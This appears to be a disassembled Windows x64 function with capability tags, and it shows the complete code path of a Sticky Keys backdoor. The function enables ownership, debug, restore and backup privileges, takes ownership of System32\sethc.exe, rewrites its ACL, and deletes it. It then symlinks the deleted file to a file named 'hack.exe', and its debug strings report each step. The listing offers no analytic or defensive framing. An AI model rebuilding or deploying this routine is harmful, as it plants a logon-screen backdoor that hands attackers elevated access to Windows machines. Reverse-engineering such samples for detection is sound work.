Function at 0x140007b80
Capabilities:
Acquire debug privileges
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xe0
call fcn.140001600
lea rax, str.C:WindowsSystem32_sethc.exe
mov qword [rbp - 8], rax
lea rax, str.Z:hack.exe
mov qword [rbp - 0x10], rax
lea rcx, str.SeTakeOwnershipPrivilege
call fcn.140007a20
test eax, eax
sete al
test al, al
je 0x140007bc5
mov eax, 0xffffffff
jmp 0x140008200
lea rcx, str.SeDebugPrivilege
call fcn.140007a20
test eax, eax
sete al
test al, al
je 0x140007be4
mov eax, 0xffffffff
jmp 0x140008200
lea rcx, str.SeRestorePrivilege
call fcn.140007a20
test eax, eax
sete al
test al, al
je 0x140007c03
mov eax, 0xffffffff
jmp 0x140008200
lea rcx, str.SeBackupPrivilege
call fcn.140007a20
test eax, eax
sete al
test al, al
je 0x140007c22
mov eax, 0xffffffff
jmp 0x140008200
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x40000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x34], 0
mov qword [rbp - 0x20], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp - 0x30]
mov r8, rdx
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call rax
test eax, eax
sete al
test al, al
je 0x140007cca
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.Failed_to_open_process_token:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.open_process_token:_ok_n
call fcn.140007b20
mov rax, qword [rbp - 0x30]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
mov eax, dword [rbp - 0x34]
mov eax, eax
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140007d4e
lea rcx, str.failed_to_allocate_memory_for_token_information_n
call fcn.140007b20
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.allocate_memory_token_info:_ok_n
call fcn.140007b20
mov r8d, dword [rbp - 0x34]
mov rax, qword [rbp - 0x30]
mov rcx, qword [rbp - 0x20]
lea rdx, [rbp - 0x34]
mov qword [rsp + 0x20], rdx
mov r9d, r8d
mov r8, rcx
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
call rax
test eax, eax
sete al
test al, al
je 0x140007ddc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.failed_to_get_token_information:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.get_token_info:_ok_n
call fcn.140007b20
lea rax, [rbp - 0x60]
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
call rax
test eax, eax
sete al
test al, al
je 0x140007e53
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.failed_to_initialize_security_descriptor:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.init_security_descriptor:_ok_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rdx, qword [rax]
lea rax, [rbp - 0x60]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
call rax
test eax, eax
sete al
test al, al
je 0x140007ed2
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.failed_to_set_security_descriptor_owner:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.setting_security_descriptor_owner:_ok_n
call fcn.140007b20
lea rdx, [rbp - 0x60]
mov rax, qword [rbp - 8]
mov r8, rdx
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_SetFileSecurityA]
call rax
test eax, eax
sete al
test al, al
je 0x140007f50
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.error_setting_file_ownership:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.setting_file_ownership:_ok_n
call fcn.140007b20
mov qword [rbp - 0x98], 0
lea rax, [rbp - 0x90]
mov r8d, 0x30
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov dword [rbp - 0x90], 0x10000000
mov dword [rbp - 0x8c], 2
mov dword [rbp - 0x88], 0
mov dword [rbp - 0x74], 0
mov dword [rbp - 0x70], 1
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
mov qword [rbp - 0x68], rax
lea rdx, [rbp - 0x98]
lea rax, [rbp - 0x90]
mov r9, rdx
mov r8d, 0
mov rdx, rax
mov ecx, 1
mov rax, qword [sym.imp.ADVAPI32.dll_SetEntriesInAclA]
call rax
test eax, eax
setne al
test al, al
je 0x140008036
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.error_setting_new_ACL:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.setting_new_ACL:_ok_n
call fcn.140007b20
mov rdx, qword [rbp - 0x98]
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 4
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
call rax
test eax, eax
setne al
test al, al
je 0x1400080ea
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.error_setting_security_info:__d_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov eax, 1
jmp 0x140008200
lea rcx, str.setting_security_info:_ok_n
call fcn.140007b20
mov rax, qword [rbp - 0x20]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x98]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
test eax, eax
sete al
test al, al
je 0x14000815f
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.error_deleting_original_file:__d_n
call fcn.140007b20
mov eax, 1
jmp 0x140008200
lea rcx, str.original_file_deleted_successfully_n
call fcn.140007b20
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rcx, str.kernel32.dll
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, str.CreateSymbolicLinkA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x1400090f0], rax
mov r9, qword [0x1400090f0]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r8d, 0
mov rcx, rax
call r9
test al, al
sete al
test al, al
je 0x1400081ef
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rcx, str.error_creating_symlink:__d_n
call fcn.140007b20
mov eax, 1
jmp 0x140008200
lea rcx, str.symlink_to_meow_created_successfully_.._n
call fcn.140007b20
mov eax, 0
add rsp, 0xe0
pop rbp
ret